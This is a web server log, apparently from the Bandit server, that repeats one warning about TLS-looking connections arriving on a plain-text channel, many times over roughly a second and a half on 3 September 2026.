[Thu Sep  3 15:55:43.096000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.098000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.098000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.098000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.098000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.099000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.099000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.100000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.100000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.100000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.102000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.102000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.102000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.104000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.104000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.105000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.105000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.106000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.107000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.107000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.107000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.107000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.110000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.110000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.112000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.332000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.335000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.341000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.344000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.345000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.346000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.347000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.349000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.351000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.352000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.353000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.354000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.356000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.357000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.357000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.359000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.359000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.360000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.362000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.363000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.364000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.364000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.365000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.365000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.365000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.364000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.363000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.366000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.366000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.368000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.368000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.368000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.372000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.373000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.374000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.374000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.374000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.376000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.595000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.595000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.608000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.609000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.610000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.611000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.611000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.613000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.613000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.614000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.615000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.616000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.616000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.618000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.618000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.619000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.620000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.621000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.622000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.622000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.624000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.625000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.625000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.625000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.626000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.626000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.626000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.630000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.631000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.631000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.632000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.633000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.633000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.635000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.636000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.638000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.641000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.642000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.854000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.858000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.867000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.867000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.871000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.873000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.873000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.875000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.877000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.878000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.878000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.879000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.879000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.881000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.882000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.882000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.883000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.883000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.883000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.884000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.884000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.886000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.889000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.889000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.890000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.891000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.892000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.892000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.893000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.894000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.896000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.896000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.898000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.901000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.901000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.906000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.907000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:43.908000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.114000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.126000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.128000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.129000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.136000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.137000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.139000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.139000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.141000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.141000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.143000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.143000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.143000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.144000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.145000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.147000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.147000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.148000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.148000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.150000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.151000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.148000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.153000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.156000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.156000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.157000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.158000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.158000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.159000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.159000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.162000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.162000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.164000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.163000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.168000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.169000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.174000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.176000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.374000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.385000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.396000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.396000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.398000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.398000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.400000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.401000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.402000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.404000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.404000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.406000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.408000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.409000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.409000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.410000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.411000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.412000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.413000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.414000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.417000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.418000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.419000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.420000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.420000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.422000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.423000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.423000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.423000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.425000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.426000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.426000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.428000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.432000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.433000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.434000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.435000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.437000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.634000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.654000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.656000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.657000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 15:55:44.658000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
